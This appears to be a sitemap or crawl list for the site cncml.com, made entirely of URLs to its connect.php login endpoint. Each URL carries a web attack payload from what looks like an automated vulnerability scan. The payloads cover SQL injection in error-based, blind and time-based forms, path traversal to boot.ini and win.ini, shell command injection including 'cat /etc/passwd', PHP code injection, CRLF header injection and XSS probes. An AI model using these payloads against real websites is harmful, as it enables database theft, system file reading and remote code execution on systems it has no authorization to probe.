http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND%2027=27%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND%2042=15%20AND%20('xi'='xi 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND%2042=42%20AND%20('aT'='aT 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND%2087=16%20AND%20('7t'='7t 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20OR%2012=87%20AND%20('Eye'='Eye 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20OR%2081=81%20AND%20('XK'='XK 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(21=21)%20THEN%20'init'%20ELSE%200x28%20END))%20AND%20('2M'='2M 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(42=12)%20THEN%20'init'%20ELSE%200x28%20END))%20AND%20('RN'='RN 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(81=81)%20THEN%200x696E6974%20ELSE%200x28%20END))%20AND%20('rc'='rc 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(89=41)%20THEN%200x696E6974%20ELSE%200x28%20END))%20AND%20('Op'='Op 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init';%20IF(33=88)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init';%20IF(72=72)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(27=27)%20THEN%200x696E6974%20ELSE%200x28%20END))%20AND%20(75=75 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(64=47)%20THEN%200x696E6974%20ELSE%200x28%20END))%20AND%20(64=64 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init);%20IF(19=81)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init);%20IF(21=21)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init,(SELECT%20(CASE%20WHEN%20(12=49)%20THEN%200x696E6974%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init,(SELECT%20(CASE%20WHEN%20(15=64)%20THEN%200x696E6974%20ELSE%2015*(SELECT%2015%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init,(SELECT%20(CASE%20WHEN%20(35=51)%20THEN%200x696E6974%20ELSE%2035*(SELECT%2035%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init,(SELECT%20(CASE%20WHEN%20(41=41)%20THEN%200x696E6974%20ELSE%2041*(SELECT%2041%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init,(SELECT%20(CASE%20WHEN%20(88=88)%20THEN%200x696E6974%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init,(SELECT%20(CASE%20WHEN%20(95=95)%20THEN%200x696E6974%20ELSE%2095*(SELECT%2095%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init/ 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init6633x3X6 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=initAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=initAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=initAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=initJyI%3D 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=initalert(42873) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=inite360 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=phpinfo 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=response.write(9412458*9542755) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=set%7Cset&set 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=%3Cdir 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=');print(md5(1122));// 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=(SELECT%20(CASE%20WHEN%20(61=14)%20THEN%200x6C6F67696E%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=(SELECT%20(CASE%20WHEN%20(64=69)%20THEN%200x6C6F67696E%20ELSE%2064*(SELECT%2064%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=(SELECT%20(CASE%20WHEN%20(71=71)%20THEN%200x6C6F67696E%20ELSE%2071*(SELECT%2071%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=(SELECT%20(CASE%20WHEN%20(71=71)%20THEN%200x6C6F67696E%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=(SELECT%20(CASE%20WHEN%20(75=55)%20THEN%200x6C6F67696E%20ELSE%2075*(SELECT%2075%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=(SELECT%20(CASE%20WHEN%20(77=77)%20THEN%200x6C6F67696E%20ELSE%2077*(SELECT%2077%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=(SELECT%20(CASE%20WHEN%20(81=81)%20THEN%200x6C6F67696E%20ELSE%2081*(SELECT%2081%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=(SELECT%20(CASE%20WHEN%20(83=83)%20THEN%200x6C6F67696E%20ELSE%2083*(SELECT%2083%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=(SELECT%20(CASE%20WHEN%20(89=86)%20THEN%200x6C6F67696E%20ELSE%2089*(SELECT%2089%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=(SELECT%20(CASE%20WHEN%20(91=18)%20THEN%200x6C6F67696E%20ELSE%2091*(SELECT%2091%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=................windowswin.ini 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=;print(md5(1122));%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=C:%5Cboot.ini 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=ELT(43=43,0x6C6F67696E) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=ELT(73=11,0x6C6F67696E) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=MAKE_SET(33=33,0x6C6F67696E) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=MAKE_SET(57=74,0x6C6F67696E) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 